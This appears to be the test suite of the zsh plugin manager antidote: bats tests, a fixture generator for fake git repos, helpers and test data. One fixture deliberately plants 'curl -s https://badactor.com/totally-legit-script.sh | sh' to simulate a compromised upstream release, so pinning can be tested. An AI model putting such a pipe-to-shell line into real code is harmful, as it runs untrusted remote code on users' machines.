KSH_ARRAYS SH_GLOB' fixture_session <<'EOS' antidote load >/dev/null 2>&1 echo "ksh_arrays=${options[ksharrays]} sh_glob=${options[shglob]}" EOS assert_line "ksh_arrays=on sh_glob=on" } @test "dispatch preserves KSH_ARRAYS and SH_GLOB" { SESSION_PRELUDE='setopt KSH_ARRAYS SH_GLOB' fixture_session <<'EOS' antidote bundle foo/bar >/dev/null echo "ksh_arrays=${options[ksharrays]} sh_glob=${options[shglob]}" unsetopt KSH_ARRAYS SH_GLOB antidote bundle foo/bar >/dev/null echo "ksh_arrays=${options[ksharrays]} sh_glob=${options[shglob]}" EOS assert_line --index 0 "ksh_arrays=on sh_glob=on" assert_line --index 1 "ksh_arrays=off sh_glob=off" } # A plugin that enables zillions of zsh options must have all of them # take effect. @test "bedlam plugin lights up all the zsh options" { run_session <<'EOS' setopt | wc -l | tr -d ' ' echo '$ZDOTDIR/custom/plugins/bedlam' > $ZDOTDIR/.zsh_plugins.txt antidote load setopt | wc -l | tr -d ' ' EOS [ "${#lines[@]}" -eq 2 ] [ "${lines[0]}" -lt 10 ] [ "${lines[1]}" -gt 150 ] } # The generated script is sourced in the user's shell under whatever options # they have set, so it cannot depend on zsh array indexing. @test "an autoloaded functions dir still loads under KSH_ARRAYS" { SESSION_PRELUDE='setopt KSH_ARRAYS' run_session <<'EOS' mkdir -p $ZDOTDIR/myfuncs print 'print ran-myfunc' >$ZDOTDIR/myfuncs/myfunc antidote bundle "$ZDOTDIR/myfuncs kind:autoload" >$ZDOTDIR/out.zsh source $ZDOTDIR/out.zsh print "autoloadable: ${+functions[myfunc]}" EOS assert_line "autoloadable: 1" } @test "an autoloaded functions dir still loads under KSH_ARRAYS with fpath-rule prepend" { SESSION_PRELUDE='setopt KSH_ARRAYS' run_session <<'EOS' mkdir -p $ZDOTDIR/myfuncs print 'print ran-myfunc' >$ZDOTDIR/myfuncs/myfunc antidote bundle "$ZDOTDIR/myfuncs kind:autoload fpath-rule:prepend" >$ZDOTDIR/out.zsh source $ZDOTDIR/out.zsh print "autoloadable: ${+functions[myfunc]}" EOS assert_line "autoloadable: 1" } mattmc3-antidote-9bb69ab/tests/bin/000077500000000000000000000000001523541175400173105ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bin/init_fixtures.zsh000066400000000000000000000376771523541175400227560ustar00rootroot00000000000000#!/usr/bin/env zsh # shellcheck disable=SC3043 setopt ERR_EXIT NO_UNSET die() { warn "$@"; exit "${ERR:-1}"; } say() { printf '%s\n' "$@"; } warn() { say "$@" >&2; } ROOT_DIR="$(git -C "${0:A:h}" rev-parse --show-toplevel)" \ || ERR=2 die "Cannot locate git root for '$0'." FIXTURE_DIR="${FIXTURE_DIR:-$ROOT_DIR/tests/fixtures}" FIXTURE_SHAS_FILE="$FIXTURE_DIR/fixture_shas.tsv" # Load the fixture SHAs from TSV file if it exists typeset -gA fixture_shas typeset -ga fixture_urls if [[ -f "$FIXTURE_SHAS_FILE" ]]; then while IFS=$'\t' read -r key value; do [[ -n "$key" ]] && fixture_shas[$key]="$value" done < "$FIXTURE_SHAS_FILE" fi init_git_environment() { # Ignore user/system git configs to keep commits deterministic. export GIT_CONFIG_GLOBAL=/dev/null export GIT_CONFIG_NOSYSTEM=1 export GIT_AUTHOR_NAME="Fixture Author" export GIT_AUTHOR_EMAIL="fixture@example.com" export GIT_AUTHOR_DATE="2025-01-01T00:00:00Z" export GIT_COMMITTER_NAME="Fixture Committer" export GIT_COMMITTER_EMAIL="fixture@example.com" export GIT_COMMITTER_DATE="2025-01-01T00:00:00Z" } # Date the next commits N days before now, for age-sensitive fixtures. commit_date_days_ago() { zmodload zsh/datetime export GIT_AUTHOR_DATE="$(TZ=UTC strftime '%Y-%m-%dT%H:%M:%SZ' $(( EPOCHSECONDS - 86400 * $1 )))" export GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE" } clean() { mkdir -p "$FIXTURE_DIR" rm -rf -- "$FIXTURE_DIR"/bare "$FIXTURE_DIR"/antidote } url_to_dir() { local url dir [ -n "$1" ] || return 1 # Ensure the provided URL ends with .git url="$1" case "$url" in *.git) ;; *) url="${url}.git" ;; esac dir=${url:gs/\:/-COLON-} dir=${dir:gs/\//-SLASH-} dir=${dir:gs/\@/-AT-} say "$dir" } generate_fixture_shas() { : > "$FIXTURE_SHAS_FILE" for key in "${(@ko)fixture_shas}"; do printf '%s\t%s\n' "$key" "${fixture_shas[$key]}" >> "$FIXTURE_SHAS_FILE" done say "Generated $FIXTURE_SHAS_FILE" } generate_fixture_gitconfig() { local gitconfig_file="$FIXTURE_DIR/gitconfig" local url safe_dir printf '[user]\n\tname = Fixture User\n\temail = fixture@example.com\n' > "$gitconfig_file" # Background maintenance detaches from git and races test teardown's # rm -rf of the tempdir. printf '[gc]\n\tauto = 0\n[maintenance]\n\tauto = false\n' >> "$gitconfig_file" # Fixture remotes are local paths, and git refuses the file transport # for submodules by default (CVE-2022-39253). printf '[protocol "file"]\n\tallow = always\n' >> "$gitconfig_file" for url in "${fixture_urls[@]}"; do safe_dir="$(url_to_dir "$url")" printf '[url "%s"]\n\tinsteadOf = %s\n' \ "$FIXTURE_DIR/bare/$safe_dir" "$url" \ >> "$gitconfig_file" # also match URLs with .git suffix to prevent double .git local url_dotgit="${url%.git}.git" if [[ "$url_dotgit" != "$url" ]]; then printf '[url "%s"]\n\tinsteadOf = %s\n' \ "$FIXTURE_DIR/bare/$safe_dir" "$url_dotgit" \ >> "$gitconfig_file" fi done say "Generated $gitconfig_file" } record_sha() { local short_name dir sha short_name="$1" dir="$2" sha="$(git -C "$dir" rev-parse --short HEAD)" fixture_shas[$short_name]="$sha" printf 'Updated %-30s SHA: %s\n' "$short_name" "$sha" } commit_and_record() { local dir sha_key commit_msg dir="$1" sha_key="$2" commit_msg="$3" touch -t 202601010000 "$dir"/**/*(..) git -C "$dir" add . git -C "$dir" commit --quiet -m "$commit_msg" git -C "$dir" push --quiet record_sha "$sha_key" "$dir" if [[ -n "${fixture_shas[$sha_key]:-}" ]]; then check_sha "$dir" "${fixture_shas[$sha_key]}" fi } get_fixture_dir() { local url="$1" say "$FIXTURE_DIR/antidote/$(url_to_clone_dir "$url")" } add_functions_to_fixture() { local url dir func_name url="$1" func_name="$2" dir="$FIXTURE_DIR/antidote/$(url_to_clone_dir "$url")" mkdir -p "$dir/functions" cat > "$dir/functions/$func_name" < "$dir/functions/_$func_name" < "$file" printf '%s\n' '0=${(%):-%x}' >> "$file" printf '%s\n' 'echo "${0:a:t}"' >> "$file" } make_fixture() { local url file_extension safe_dir repo_name short_name clone_path git_bare_dir git_clone_dir url="$1" file_extension="$2" fixture_urls+=("$url") safe_dir="$(url_to_dir "$url")" repo_name="$(get_repo_name "$url")" short_name="$(get_short_name "$url")" clone_path="$(url_to_clone_dir "$url")" git_bare_dir="$FIXTURE_DIR/bare/$safe_dir" git_clone_dir="$FIXTURE_DIR/antidote/$clone_path" # Make a bare repo and clone it. git init --quiet --bare "$git_bare_dir" # git -C "$git_bare_dir" remote add "origin" "$url" git clone --quiet "$git_bare_dir" "$git_clone_dir" >/dev/null 2>&1 # Make a plugin file. if [ "$file_extension" = "" ]; then target="$git_clone_dir/${repo_name}" cat > "$target" < "$target" < "$ohmy_dir/lib/lib${i}.zsh" < "$ohmy_dir/themes/pretty.zsh-theme" < "$ohmy_dir/custom/themes/pretty.zsh-theme" < "$ohmy_dir/custom/themes/ugly.zsh-theme" < "$ohmy_dir/plugins/$plugin/${plugin}.plugin.zsh" < "$ohmy_dir/plugins/docker/_docker" <<'EOF' #compdef EOF # Add function for macos plugin mkdir -p "$ohmy_dir/plugins/macos/functions" cat > "$ohmy_dir/plugins/macos/functions/macos_func" <<'EOF' #!/bin/zsh function macos_func { echo macos_func "$@" } macos_func "$@" EOF commit_and_record "$ohmy_dir" "ohmy/ohmy-updated" "Add lib, themes, and plugins directories" } setup_fixture_foo_baz() { local url dir url="https://fakegitsite.com/foo/baz" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") add_functions_to_fixture "$url" "baz" commit_and_record "$dir" "foo/baz-updated" "Add function files" } setup_fixture_purify() { local url dir url="https://fakegitsite.com/themes/purify" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") make_file "$dir"/purify.zsh make_file "$dir"/async.zsh make_file "$dir"/promp_purify_setup commit_and_record "$dir" "themes/purify-updated1" "Add more fake purify files" # Remove plugin file so we have a bad HEAD rm -rf -- "$dir"/purify.plugin.zsh commit_and_record "$dir" "themes/purify-updated2" "Remove plugin file" } setup_fixture_zsh_defer() { local url dir url="https://fakegitsite.com/getantidote/zsh-defer" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") cat >> "$dir/zsh-defer.plugin.zsh" <<'EOF' function zsh-defer { "$@" } EOF commit_and_record "$dir" "getantidote/zsh-defer-updated" "Add zsh-defer function" } setup_fixture_foo_bar() { local url dir url="https://fakegitsite.com/foo/bar" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") # Create a 'dev' branch for branch annotation testing git -C "$dir" checkout --quiet -b dev git -C "$dir" push --quiet origin dev git -C "$dir" checkout --quiet main } setup_fixture_themes_ohmytheme() { local dir make_fixture "https://fakegitsite.com/themes/ohmytheme" "zsh-theme" dir=$(get_fixture_dir "https://fakegitsite.com/themes/ohmytheme") # A second theme in the root, like powerlevel10k ships powerlevel9k. # Only the one named for the repo should be sourced. cat > "$dir/oldtheme.zsh-theme" <> "$dir/zsh-defer.plugin.zsh" <<'EOF' function zsh-defer { "$@" } EOF commit_and_record "$dir" "custom/zsh-defer-updated" "Add zsh-defer function" } setup_fixture_zsh_users_zsh_autosuggestions() { make_fixture "https://fakegitsite.com/zsh-users/zsh-autosuggestions" "plugin.zsh" } setup_fixture_test_install() { make_fixture "https://fakegitsite.com/test/install" "plugin.zsh" } setup_fixture_sub_child() { make_fixture "https://fakegitsite.com/sub/child" "plugin.zsh" } # A repo whose default branch is not main, for the origin/HEAD fallbacks. # main and dev have to diverge, or following the wrong one is invisible. setup_fixture_devhead_devrepo() { local url dir bare url="https://fakegitsite.com/devhead/devrepo" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") bare="$FIXTURE_DIR/bare/$(url_to_dir "$url")" printf '%s\n' '# on main' >> "$dir/devrepo.plugin.zsh" commit_and_record "$dir" "devhead/devrepo-main" "Commit on main" git -C "$dir" checkout --quiet -b dev printf '%s\n' '# on dev' >> "$dir/devrepo.plugin.zsh" git -C "$dir" add . git -C "$dir" commit --quiet -m "Commit on dev" git -C "$dir" push --quiet -u origin dev record_sha "devhead/devrepo-dev" "$dir" git -C "$bare" symbolic-ref HEAD refs/heads/dev git -C "$dir" checkout --quiet main } # Dated fixture for min-age tests. Dates are relative to generation time # so a min-age of 200 days always splits the history the same way: # initial (~900d) and stable (~400d) qualify, latest (~1d) never does. setup_fixture_dino_saur() { local url dir url="https://fakegitsite.com/dino/saur" commit_date_days_ago 900 make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") record_sha "dino/saur-initial" "$dir" commit_date_days_ago 400 printf '%s\n' '# v1.1 stable' >> "$dir/saur.plugin.zsh" commit_and_record "$dir" "dino/saur-stable" "v1.1 stable" commit_date_days_ago 1 printf '%s\n' '# v1.2 bleeding edge' >> "$dir/saur.plugin.zsh" commit_and_record "$dir" "dino/saur-latest" "v1.2 bleeding edge" # restore the fixed dates the other fixtures rely on init_git_environment } # A plugin that carries a submodule, for --recurse-submodules coverage. # The recorded URL is file:// rather than a fake URL plus an insteadOf # rule: git ignores --depth when cloning a plain local path, so a path # would both hide --shallow-submodules and print a warning on every # clone. Bare repos are regenerated per environment, so baking the # absolute path into .gitmodules is safe. setup_fixture_sub_parent() { local url dir child_bare url="https://fakegitsite.com/sub/parent" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") child_bare="$FIXTURE_DIR/bare/$(url_to_dir 'https://fakegitsite.com/sub/child')" git -C "$dir" -c protocol.file.allow=always \ submodule add --quiet "file://$child_bare" child commit_and_record "$dir" "sub/parent-updated" "Add child submodule" } setup_fixture_pintest_pinme() { local url dir url="https://fakegitsite.com/pintest/pinme" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") # Tag v1.0.0 at the initial commit. This is the "good" pinned version git -C "$dir" tag v1.0.0 git -C "$dir" push --quiet origin v1.0.0 record_sha "pintest/pinme-v1.0.0" "$dir" # v1.1.0: a normal update cat > "$dir/pinme.plugin.zsh" <<'EOF' echo "sourcing pinme.plugin.zsh from pintest/pinme..." plugins+=(pintest/pinme) # v1.1.0 - minor update EOF commit_and_record "$dir" "pintest/pinme-v1.1.0" "v1.1.0 minor update" git -C "$dir" tag v1.1.0 git -C "$dir" push --quiet origin v1.1.0 # v1.2.0: upstream pushed something sketchy, this is what we pin away from cat > "$dir/pinme.plugin.zsh" <<'EOF' echo "sourcing pinme.plugin.zsh from pintest/pinme..." plugins+=(pintest/pinme) curl -s https://badactor.com/totally-legit-script.sh | sh EOF commit_and_record "$dir" "pintest/pinme-updated" "v1.2.0 supply chain oops" } init_git_environment clean # Setup all fixtures setup_fixture_bar_baz setup_fixture_custom_zsh_defer setup_fixture_foo_bar setup_fixture_foo_baz setup_fixture_foo_qux setup_fixture_ohmy setup_fixture_themes_ohmytheme setup_fixture_purify # setup_fixture_zsh_users_zsh_bench setup_fixture_zsh_defer setup_fixture_zsh_users_zsh_autosuggestions setup_fixture_test_install setup_fixture_dino_saur setup_fixture_pintest_pinme setup_fixture_sub_child setup_fixture_sub_parent setup_fixture_devhead_devrepo # Generate the fixture_shas.tsv and gitconfig files generate_fixture_shas generate_fixture_gitconfig # Stamp the git version so t_setup knows these fixtures match the current toolchain. git --version > "$FIXTURE_DIR/.git_version" mattmc3-antidote-9bb69ab/tests/bin/mock_fzf000077500000000000000000000001061523541175400210310ustar00rootroot00000000000000#!/bin/sh # Stub fzf for testing. Simulates no selection made. exit 1 mattmc3-antidote-9bb69ab/tests/bin/subenv000077500000000000000000000013061523541175400205400ustar00rootroot00000000000000#!/usr/bin/env zsh # Filter that rewrites absolute paths on stdin back to $VAR placeholders, # so golden files stay stable across tmpdirs. Defaults to HOME. # # Literal '$HOME' is expanded first, which is what lets `subenv # ANTIDOTE_HOME` collapse a generated "$HOME/.cache/antidote/..." path # down to "$ANTIDOTE_HOME/...". # # This runs as a subprocess, so every var named here has to be exported # by the caller. Bats-side callers pass the test home's values via env. emulate -L zsh setopt local_options if (( $# == 0 )); then set -- HOME fi typeset -a sedargs=(-e "s|\$HOME|$HOME|g") while (( $# )); do if [[ -v "$1" ]]; then sedargs+=(-e "s|${(P)1}|\$$1|g") fi shift done sed "$sedargs[@]" mattmc3-antidote-9bb69ab/tests/fixtures/000077500000000000000000000000001523541175400204115ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/fixtures/.gitkeep000066400000000000000000000000001523541175400220300ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/functions/000077500000000000000000000000001523541175400205505ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/functions/bundle_val000066400000000000000000000003471523541175400226120ustar00rootroot00000000000000#!/bin/zsh #function bundle_val() { emulate -L zsh; setopt local_options local key=$1 local i eval "$(cat)" for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do print -- "${_parsed_bundles[$i,$key]}" done #} mattmc3-antidote-9bb69ab/tests/functions/clone_dirs000066400000000000000000000007241523541175400226170ustar00rootroot00000000000000#!/bin/zsh #function clone_dirs { # Print every clone under $ANTIDOTE_HOME (any dir holding a .git), # relative to $ANTIDOTE_HOME, sorted. Path-style tests assert on this # instead of probing one path at a time, so a failure shows what is # actually on disk rather than just which probe missed. emulate -L zsh; setopt local_options extended_glob local d for d in $ANTIDOTE_HOME/**/.git(/N); do print -r -- ${${d:h}#$ANTIDOTE_HOME/} done | sort #} mattmc3-antidote-9bb69ab/tests/functions/print_parsed_bundle000066400000000000000000000014671523541175400245260ustar00rootroot00000000000000#!/bin/zsh #function print_parsed_bundle() { # Prints _parsed_bundles matrix rows, filtering internal keys (__lineno__) # that vary by input position and would make test assertions fragile. # emulate -L zsh; setopt local_options local -a all_keys row_keys local i key val eval "$(cat)" all_keys=(${(ok)_parsed_bundles}) for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do row_keys=() for key in $all_keys; do [[ $key == $i,* ]] && [[ ${key#$i,} != __lineno__ ]] && [[ ${key#$i,} != __name__ ]] && row_keys+=(${key#$i,}) done for key in ${(o)row_keys}; do val="$(print -r -- "${_parsed_bundles[$i,$key]}" | subenv ANTIDOTE_HOME)" if [[ -z "$val" ]]; then printf '%-12s:\n' $key else printf '%-12s: %s\n' $key $val fi done done #} mattmc3-antidote-9bb69ab/tests/functions/t_setup000066400000000000000000000043521523541175400221620ustar00rootroot00000000000000#!/bin/zsh #function t_setup { emulate -L zsh setopt local_options extended_glob glob_dots 0=${(%):-%x} export T_PRJDIR="${0:A:h:h:h}" export T_TESTDATA=$T_PRJDIR/tests/testdata local testdir="$T_PRJDIR/tests" # Generate fixtures if needed. Use a container-local path so container # fixtures never bleed onto the host mount (or vice versa). local fixture_dir="$testdir/fixtures" local fixture_git_ver="$fixture_dir/.git_version" if [[ ! -d $fixture_dir/bare ]] || \ [[ ! -f $fixture_git_ver ]] || \ [[ "$(cat $fixture_git_ver)" != "$(git --version)" ]]; then fixture_dir="/tmp/antidote-fixtures" fixture_git_ver="$fixture_dir/.git_version" if [[ ! -d $fixture_dir/bare ]] || \ [[ ! -f $fixture_git_ver ]] || \ [[ "$(cat $fixture_git_ver)" != "$(git --version)" ]]; then rm -rf "$fixture_dir" FIXTURE_DIR="$fixture_dir" zsh $testdir/bin/init_fixtures.zsh &>/dev/null fi fi # setup test functions fpath+=( $testdir/functions ) autoload -Uz $testdir/functions/* # tests/bin holds executables shared with bats-side helpers (subenv) path=( $testdir/bin $path ) # gitconfig insteadOf rules handle URL rewriting for fake URLs # works with BSD and GNU gmktemp T_TEMPDIR=${$(mktemp -d -t t_antidote.XXXXXXXX):A} export HOME=$T_TEMPDIR export ZDOTDIR=$HOME/.zsh export ANTIDOTE_HOME=$HOME/.cache/antidote export ANTIDOTE_CONFIG=$HOME/.config/antidote/test_config.zsh # copy tmp_home contents cp -rf $testdir/tmp_home/* $T_TEMPDIR # our mock plugins use this typeset -ga plugins=() typeset -ga libs=() # use fixture gitconfig so fetch/pull resolve fake URLs to bare fixtures # sed rewrites stored paths to match current fixture location sed "s|/[^ \"]*/tests/fixtures/|${fixture_dir}/|g" "$fixture_dir/gitconfig" > "$HOME/.gitconfig" # background maintenance off since detached git gc processes race # teardown's rm -rf of the test home. printf '[gc]\n\tauto = 0\n[maintenance]\n\tauto = false\n' >> "$HOME/.gitconfig" # start from tmp home, keeping the caller's cwd for t_teardown to # restore. Bare pushd happens to land here too, but only because HOME # was reassigned above. pushd $T_TEMPDIR # source antidote source $T_PRJDIR/antidote.zsh #} mattmc3-antidote-9bb69ab/tests/functions/t_setup_real000066400000000000000000000030441523541175400231620ustar00rootroot00000000000000#!/bin/zsh #function t_setup_real { 0=${(%):-%x} # Setup using standard test infrastructure t_setup # Override for real cloning (no fixture gitconfig, no test config) typeset -g T_PRJDIR="${0:A:h:h:h}" typeset -g T_TESTDATA=$T_PRJDIR/tests/testdata/real unset ANTIDOTE_CONFIG # t_setup's antidote-setup already sourced the test config into this # shell, so unsetting the var is not enough. Drop the zstyles it left # behind, or they ride into every subprocess via ANTIDOTE_ZSTYLES and # point real clones at the fake git site. local line local -a parts for line in ${(f)"$(zstyle -L ':antidote:*')"}; do parts=( ${(z)line} ) zstyle -d "${parts[2]}" "${parts[3]}" done # replace fixture gitconfig so we clone from real GitHub; keep # background maintenance off since detached git gc processes race # t_teardown's rm -rf of the tempdir printf '[gc]\n\tauto = 0\n[maintenance]\n\tauto = false\n' > "$HOME/.gitconfig" # unsetting ANTIDOTE_CONFIG drops the test config, so set the deepen # hook here: a disowned fetch outlives its clone and races the same # rm -rf. Real repos have real history, so this is the slow one. zstyle ':antidote:test:git' background-deepen 'no' # replace test versions of bundle files with real versions local file for file in .zsh_plugins.txt .zsh_plugins.zsh; do [[ -f $T_TESTDATA/$file ]] && command cp -f -- "$T_TESTDATA/$file" "$ZDOTDIR/$file" done # clean out antidote home [[ -d $ANTIDOTE_HOME ]] && command rm -rf -- "$ANTIDOTE_HOME" mkdir -p "$ANTIDOTE_HOME" #} mattmc3-antidote-9bb69ab/tests/functions/t_teardown000066400000000000000000000006431523541175400226440ustar00rootroot00000000000000#!/bin/zsh #function t_teardown { emulate -L zsh setopt local_options # Callers are normally a throwaway zsh (run_session, clitest, fixture # pregen), but t_setup is also sourced interactively for debugging, so # put the caller back where it started before removing the tempdir. popd [[ -d "$T_TEMPDIR" ]] && command rm -rf -- "$T_TEMPDIR" # do not leak the status of the conditional above true #} mattmc3-antidote-9bb69ab/tests/functions/t_unload_antidote000066400000000000000000000007071523541175400241730ustar00rootroot00000000000000#!/bin/zsh #function t_unload_antidote { emulate -L zsh setopt local_options local fn # drop antidote's own functions, plus the git stub and zsh-defer that # bundles pull in for fn in ${(k)functions}; do [[ $fn == *antidote* ]] && [[ $fn != t_* ]] && unfunction -- $fn done (( $+functions[git] )) && unfunction git (( $+functions[zsh-defer] )) && unfunction zsh-defer # do not leak the status of the conditional above true #} mattmc3-antidote-9bb69ab/tests/run000077500000000000000000000045141523541175400172760ustar00rootroot00000000000000#!/usr/bin/env zsh # Antidote test runner. # # usage: tests/run [--real|--all] [file...] # (no args) unit tests: tests/bats/*.bats plus tests/README.md docs # --real network tests: tests/bats/real/*.bats # --all unit + real # file... specific files (.bats -> bats, .md -> clitest) # # BATS_JOBS controls bats concurrency (default 8). 0=${(%):-%x} setopt extended_glob local T_PRJDIR="${0:A:h:h}" cd "$T_PRJDIR" # Fail early and loudly on missing prereqs. clitest is only needed # when markdown files run, so it is checked later. local dep for dep in git bats parallel; do (( $+commands[$dep] )) || { print -ru2 "tests/run: fatal: required command '$dep' not found." exit 127 } done # Silence GNU parallel's citation nag before bats uses it. Use # PARALLEL_HOME so nothing is written to the user's $HOME. export PARALLEL_HOME="${TMPDIR:-/tmp}/antidote-tests-parallel" mkdir -p "$PARALLEL_HOME" && : >> "$PARALLEL_HOME/will-cite" # Shared git fixtures generate once, before anything runs in parallel. # (bats setup_suite.bash is not reliably discovered, so do it here.) env -i PATH="$PATH" zsh -f -c \ "source '$T_PRJDIR/tests/__init__.zsh' && t_setup && t_teardown" >/dev/null 2>&1 local o_real o_all err=0 zparseopts -D -M -- -real=o_real -all=o_all || exit 1 local -a clifiles batsargs if (( $# > 0 )); then local f for f in $@; do if [[ "$f" == *.bats ]]; then batsargs+=($f) else clifiles+=($f) fi done elif (( $#o_real )); then batsargs=($T_PRJDIR/tests/bats/real) elif (( $#o_all )); then clifiles=($T_PRJDIR/tests/README.md(N)) batsargs=($T_PRJDIR/tests/bats $T_PRJDIR/tests/bats/real) else clifiles=($T_PRJDIR/tests/README.md(N)) batsargs=($T_PRJDIR/tests/bats) fi # Use ZSH_BINARY if set, otherwise fallback to default zsh ZSH=${ZSH_BINARY:-zsh} if (( $#clifiles )); then (( $+commands[clitest] )) || { print -ru2 "tests/run: fatal: required command 'clitest' not found." exit 127 } env -i PATH=$PATH FPATH=$FPATH PAGER=cat \ $ZSH -f -- \ =clitest \ --list-run --progress dot --prompt '%' \ --color always \ --pre-flight 'git --version; print $T_PRJDIR $VENDOR $OSTYPE =$ZSH $ZSH_VERSION $ZSH_PATCHLEVEL' \ -- $clifiles || err=1 fi if (( $#batsargs )); then bats --jobs ${BATS_JOBS:-8} $batsargs || err=1 fi exit $err mattmc3-antidote-9bb69ab/tests/testdata/000077500000000000000000000000001523541175400203515ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/testdata/.zplugins_fake_load.zsh000066400000000000000000000033671523541175400250260ustar00rootroot00000000000000fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" fpath=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" mattmc3-antidote-9bb69ab/tests/testdata/.zplugins_fake_zcompile_static.zsh000066400000000000000000000040371523541175400272730ustar00rootroot00000000000000function { 0=${(%):-%x} local staticfile=${0:A} [[ -e ${staticfile} ]] || return 1 if [[ ! -s ${staticfile}.zwc || ${staticfile} -nt ${staticfile}.zwc ]] || ! zcompile -t ${staticfile}.zwc &>/dev/null; then builtin autoload -Uz zrecompile zrecompile -pq ${staticfile} fi } fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" fpath=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins.snapshot.txt000066400000000000000000000006441523541175400253770ustar00rootroot00000000000000bar/baz kind:clone pin:1aa9550512f5606c5c23b11f5a9ad660d6c10fb4 foo/bar kind:clone pin:400b29a76d68fd7c40bc7c0460424ab089b1e68a foo/baz kind:clone pin:98cdde20c338bdb4df6efefd7f812d38ecc62b70 getantidote/zsh-defer kind:clone pin:57ddc6fc6fba9862b899c483b6746b43c07dfb0d git@fakegitsite.com:foo/qux kind:clone pin:89661d7f95e6d805d4da6e1dc9bbaba9b126322a ohmy/ohmy kind:clone pin:1cc5b7ebe76328350234e841e72729f40057e2b6 mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins.txt000066400000000000000000000014511523541175400235360ustar00rootroot00000000000000# local plugins ~/foo/bar $ZSH_CUSTOM path:plugins/myplugin # repo plugins foo/bar git@github.com:foo/qux.git # trailing comments # leading spaces don't matter foobar/barfoo annotation:a:b:c comment:"quz #fake comment" #real comment error/mcerror-face "def ghi" blah # xyz # kind:clone 